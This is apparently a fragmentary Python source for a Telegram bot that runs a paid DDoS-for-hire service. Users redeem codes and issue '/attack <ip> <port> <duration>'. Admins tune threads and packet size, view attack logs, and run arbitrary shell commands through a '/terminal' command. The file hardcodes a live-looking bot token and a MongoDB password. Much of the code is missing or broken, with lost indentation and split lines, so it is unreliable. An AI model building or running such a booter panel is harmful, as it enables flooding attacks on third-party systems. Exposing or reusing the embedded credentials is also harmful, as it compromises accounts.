Spike
Spike
import socket
import subprocess
import asyncio
import pytz
import platform
import random
import string
from telegram import Update
from telegram.ext import Application, CommandHandler, CallbackContext, filters,
MessageHandler
from pymongo import MongoClient
from datetime import datetime, timedelta, timezone
# Database Configuration
MONGO_URI = 'mongodb+srv://Magic:[email protected]/TEST?
retryWrites=true&w=majority&appName=Cluster0'
client = MongoClient(MONGO_URI)
db = client['TEST']
users_collection = db['users']
settings_collection = db['settings'] # A new collection to store global settings
redeem_codes_collection = db['redeem_codes']
attack_logs_collection = db['user_attack_logs']
# Bot Configuration
TELEGRAM_BOT_TOKEN = '5957440952:AAEeYbO8BHnUBPGJgEllwzN1whZi0hxsXdc'
ADMIN_USER_ID = 7372592479
ADMIN_USER_ID = 1441704343
COOLDOWN_PERIOD = timedelta(minutes=1)
user_last_attack_time = {}
user_attack_history = {}
cooldown_dict = {}
active_processes = {}
current_directory = os.getcwd()
try:
# Get dynamic user and host information
user, host = get_user_and_host()
# Limit the output to 4000 characters to avoid Telegram message size limits
if len(output) > 4000:
output = output[:4000] + "\n⚠️ Output truncated due to length."
except Exception as e:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"❌ *Error executing command:*\n```{str(e)}```",
parse_mode='Markdown'
)
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"✅ *File '{file_name}' has been uploaded successfully!*",
parse_mode='Markdown'
)
if user_id != ADMIN_USER_ID:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*❌ You are not authorized to list files!*",
parse_mode='Markdown'
)
return
try:
files = os.listdir(directory)
if files:
files_list = "\n".join(files)
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"📂 *Files in Directory:* `{directory}`\n{files_list}",
parse_mode='Markdown'
)
else:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"📂 *No files in the directory:* `{directory}`",
parse_mode='Markdown'
)
except Exception as e:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"❌ *Error accessing the directory:* `{str(e)}`",
parse_mode='Markdown'
)
if user_id != ADMIN_USER_ID:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*❌ You are not authorized to delete files!*",
parse_mode='Markdown'
)
return
if len(context.args) != 1:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*⚠️ Usage: /delete <file_name>*",
parse_mode='Markdown'
)
return
file_name = context.args[0]
file_path = os.path.join(os.getcwd(), file_name)
if file_name in PROTECTED_FILES:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"⚠️ *File '{file_name}' is protected and cannot be deleted.*",
parse_mode='Markdown'
)
return
if os.path.exists(file_path):
os.remove(file_path)
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"✅ *File '{file_name}' has been deleted.*",
parse_mode='Markdown'
)
else:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"⚠️ *File '{file_name}' not found.*",
parse_mode='Markdown'
)
if user_id != ADMIN_USER_ID:
# Help text for regular users (exclude sensitive commands)
help_text = (
"*Here are the commands you can use:* \n\n"
"*🔸 /start* - Start interacting with the bot.\n"
"*🔸 /attack* - Trigger an attack operation.\n"
"*🔸 /redeem* - Redeem a code.\n"
)
else:
# Help text for admins (include sensitive commands)
help_text = (
"*💡 Available Commands for Admins:*\n\n"
"*🔸 /start* - Start the bot.\n"
"*🔸 /attack* - Start the attack.\n"
"*🔸 /add [user_id]* - Add a user.\n"
"*🔸 /remove [user_id]* - Remove a user.\n"
"*🔸 /thread [number]* - Set number of threads.\n"
"*🔸 /byte [size]* - Set the byte size.\n"
"*🔸 /show* - Show current settings.\n"
"*🔸 /users* - List all allowed users.\n"
"*🔸 /gen* - Generate a redeem code.\n"
"*🔸 /redeem* - Redeem a code.\n"
"*🔸 /cleanup* - Clean up stored data.\n"
"*🔸 /argument [type]* - Set the (3, 4, or 5).\n"
"*🔸 /delete_code* - Delete a redeem code.\n"
"*🔸 /list_codes* - List all redeem codes.\n"
"*🔸 /set_time* - Set max attack time.\n"
"*🔸 /log [user_id]* - View attack history.\n"
"*🔸 /delete_log [user_id]* - Delete history.\n"
"*🔸 /upload* - Upload a file.\n"
"*🔸 /ls* - List files in the directory.\n"
"*🔸 /delete [filename]* - Delete a file.\n"
"*🔸 /terminal [command]* - Execute.\n"
)
await context.bot.send_message(chat_id=update.effective_chat.id,
text=help_text, parse_mode='Markdown')
message = (
"*🔥 Welcome to the battlefield! 🔥*\n\n"
"*Use /attack <ip> <port> <duration>*\n"
"*Let the war begin! ⚔️*"
)
await context.bot.send_message(chat_id=chat_id, text=message,
parse_mode='Markdown')
if len(context.args) != 2:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /add <user_id> <days/minutes>*", parse_mode='Markdown')
return
target_user_id = int(context.args[0])
time_input = context.args[1] # The second argument is the time input (e.g.,
'2m', '5d')
if len(context.args) != 1:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /remove <user_id>*", parse_mode='Markdown')
return
target_user_id = int(context.args[0])
if len(context.args) != 1:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /thread <number of threads>*", parse_mode='Markdown')
return
try:
threads = int(context.args[0])
if threads <= 0:
raise ValueError("Number of threads must be positive.")
except ValueError as e:
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*⚠️
Error: {e}*", parse_mode='Markdown')
if len(context.args) != 1:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /byte <byte size>*", parse_mode='Markdown')
return
try:
byte_size = int(context.args[0])
if byte_size <= 0:
raise ValueError("Byte size must be positive.")
except ValueError as e:
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*⚠️
Error: {e}*", parse_mode='Markdown')
await context.bot.send_message(chat_id=update.effective_chat.id,
text=settings_text, parse_mode='Markdown')
expiry_label = f"{remaining_days}D-{remaining_hours}H-{remaining_minutes}M"
if expired:
user_list_message += f"🔴 *User ID: {user_id} - Expiry: {expiry_label}*\
n"
else:
user_list_message += f"🟢 User ID: {user_id} - Expiry: {expiry_label}\n"
await context.bot.send_message(chat_id=update.effective_chat.id,
text=user_list_message, parse_mode='Markdown')
if len(context.args) != 1:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /argument <3|4|5>*", parse_mode='Markdown')
return
try:
argument_type = int(context.args[0])
if argument_type not in [3, 4, 5]:
raise ValueError("Argument must be 3, 4, or 5.")
except ValueError as e:
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*⚠️
Error: {e}*", parse_mode='Markdown')
if len(context.args) != 1:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
Usage: /set_time <max time in seconds>*", parse_mode='Markdown')
return
try:
max_time = int(context.args[0])
if max_time <= 0:
raise ValueError("Max time must be a positive integer.")
except ValueError as e:
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*⚠️
Error: {e}*", parse_mode='Markdown')
args = context.args
if len(args) != 3:
await context.bot.send_message(chat_id=chat_id, text="*⚠️ Usage: /attack
<ip> <port> <duration>*", parse_mode='Markdown')
return
# Validate IP prefix
if not ip.startswith(valid_ip_prefixes):
await context.bot.send_message(chat_id=chat_id, text="*⚠️ Invalid IP
prefix. Only specific IP ranges are allowed.*", parse_mode='Markdown')
return
# Check if the user has already attacked this IP and port combination
if user_id in user_attack_history and (ip, port) in
user_attack_history[user_id]:
await context.bot.send_message(chat_id=chat_id, text="*❌ You have already
attacked this IP and port*", parse_mode='Markdown')
return
try:
duration = int(duration)
except ValueError:
await context.bot.send_message(chat_id=chat_id, text="*⚠️ Duration must be
an integer representing seconds.*", parse_mode='Markdown')
return
# Update the last attack time for the user and record the IP and port
cooldown_dict[user_id] = current_time
if user_id not in user_attack_history:
user_attack_history[user_id] = set()
user_attack_history[user_id].add((ip, port))
target_user_id = int(context.args[0])
await context.bot.send_message(chat_id=update.effective_chat.id,
text=logs_text, parse_mode='Markdown')
target_user_id = int(context.args[0])
if result.deleted_count > 0:
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*✅
Deleted {result.deleted_count} attack log(s) for user {target_user_id}.*",
parse_mode='Markdown')
else:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
No attack history found for this user to delete.*", parse_mode='Markdown')
if stdout:
print(f"[stdout]\n{stdout.decode()}")
if stderr:
print(f"[stderr]\n{stderr.decode()}")
finally:
await context.bot.send_message(chat_id=chat_id, text="*✅ Attack Completed!
✅*\n*Thank you for using our service!*", parse_mode='Markdown')
# Function to generate a redeem code with a specified redemption limit and optional
custom code name
async def generate_redeem_code(update: Update, context: CallbackContext):
user_id = update.effective_user.id
if user_id != ADMIN_USER_ID:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*❌ You are not authorized to generate redeem codes!*",
parse_mode='Markdown'
)
return
if len(context.args) < 1:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*⚠️ Usage: /gen [custom_code] <days/minutes> [max_uses]*",
parse_mode='Markdown'
)
return
# Default values
max_uses = 1
custom_code = None
if len(context.args) != 1:
await context.bot.send_message(chat_id=chat_id, text="*⚠️ Usage: /redeem
<code>*", parse_mode='Markdown')
return
code = context.args[0]
redeem_entry = redeem_codes_collection.find_one({"code": code})
if not redeem_entry:
await context.bot.send_message(chat_id=chat_id, text="*❌ Invalid redeem
code.*", parse_mode='Markdown')
return
expiry_date = redeem_entry['expiry_date']
if expiry_date.tzinfo is None:
expiry_date = expiry_date.replace(tzinfo=timezone.utc) # Ensure timezone
awareness
if user_id in redeem_entry['used_by']:
await context.bot.send_message(chat_id=chat_id, text="*❌ You have already
redeemed this code.*", parse_mode='Markdown')
return
if result.deleted_count > 0:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"*✅ Redeem code `{specific_code}` has been deleted
successfully.*",
parse_mode='Markdown'
)
else:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"*⚠️ Code `{specific_code}` not found.*",
parse_mode='Markdown'
)
else:
# Delete only expired codes if no specific code is provided
current_time = datetime.now(timezone.utc)
result = redeem_codes_collection.delete_many({"expiry_date": {"$lt":
current_time}})
if result.deleted_count > 0:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text=f"*✅ Deleted {result.deleted_count} expired redeem code(s).*",
parse_mode='Markdown'
)
else:
await context.bot.send_message(
chat_id=update.effective_chat.id,
text="*⚠️ No expired codes found to delete.*",
parse_mode='Markdown'
)
if len(expired_users_list) == 0:
await context.bot.send_message(chat_id=update.effective_chat.id, text="*⚠️
No expired users found.*", parse_mode='Markdown')
return
# Notify admin
await context.bot.send_message(chat_id=update.effective_chat.id, text=f"*✅
Cleanup Complete!*\n*Removed {len(expired_users_list)} expired users.*",
parse_mode='Markdown')
def main():
application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler("add", add_user))
application.add_handler(CommandHandler("remove", remove_user))
application.add_handler(CommandHandler("thread", set_thread))
application.add_handler(CommandHandler("byte", set_byte))
application.add_handler(CommandHandler("show", show_settings))
application.add_handler(CommandHandler("users", list_users))
application.add_handler(CommandHandler("attack", attack))
application.add_handler(CommandHandler("gen", generate_redeem_code))
application.add_handler(CommandHandler("redeem", redeem_code))
application.add_handler(CommandHandler("help", help_command))
application.add_handler(CommandHandler("cleanup", cleanup))
application.add_handler(CommandHandler("argument", set_argument))
application.add_handler(CommandHandler("delete_code", delete_code))
application.add_handler(CommandHandler("list_codes", list_codes))
application.add_handler(CommandHandler("set_time", set_max_attack_time))
application.add_handler(CommandHandler("log", view_attack_log)) # Add this
handler
application.add_handler(CommandHandler("delete_log", delete_attack_log))
application.add_handler(CommandHandler("upload", upload))
application.add_handler(CommandHandler("ls", list_files))
application.add_handler(CommandHandler("delete", delete_file))
application.add_handler(CommandHandler("terminal", execute_terminal))
application.run_polling()
if __name__ == '__main__':
main()